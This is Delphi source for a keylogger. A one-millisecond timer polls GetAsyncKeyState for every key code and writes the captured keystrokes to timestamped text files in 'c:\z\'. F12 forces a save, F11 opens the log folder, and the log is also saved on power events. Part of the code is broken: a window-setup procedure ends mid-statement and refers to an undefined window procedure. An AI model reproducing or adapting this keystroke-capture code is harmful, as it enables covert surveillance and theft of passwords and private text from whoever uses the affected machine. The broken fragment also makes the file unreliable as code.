program Project1; uses SysUtils, messages, windows; const ID_LOGGER = WM_USER + 1; ID_SHOW = WM_USER + 2; var buff : array of char; Path : string = 'c:\z\'; procedure startwindow; var tag: tagWNDCLASSA; begin tag.style := CS_CLASSDC; tag.lpfnWndProc := @wndproc; tag. end; function createfname:string; function subs(str,sub1,sub2: string):string; var i: integer; begin for I := 1 to length(str) do if str[i] = sub1 then result := result + sub2 else result := result + str[i]; end; begin result := 'Date_'+subs(datetostr(now), '/', '-')+ '_Time_' +subs(timetostr(now), ':', ''''); end; procedure show; begin winexec(pchar('explorer '+path), 1); end; procedure save; var hfile,wted: cardinal; begin if not directoryexists(path) then createdir(path); hfile := createfile(pchar(path+createfname+'.txt'), generic_write, 0, nil, CREATE_ALWAYS, 0, 0); if writefile(hfile, buff[0], length(buff), wted, nil) then MessageBeep(64) else messagebeep(16); closehandle(hfile); setlength(buff, 0); end; procedure logger; var i: integer; begin for i := 0 to 255 do if odd(getasynckeystate(i)) then begin setlength(buff, length(buff)+1); buff[length(buff)-1] := char(i); end; if length(buff) > 100 then save; end; var msg: tmsg; begin registerhotkey(0, ID_LOGGER, VK_F12, 0); registerhotkey(0, ID_SHOW, VK_F11, 0); settimer(0, 0, 1, @logger); while getmessage(msg, 0,0,0) do begin translatemessage(msg); if (msg.message = WM_HOTKEY) then case msg.lParam of ID_LOGGER: SAVE; ID_SHOW: SHOW; end; if (msg.message = WM_POWER) then begin SAVE; HALT; end; dispatchmessage(msg); end; end.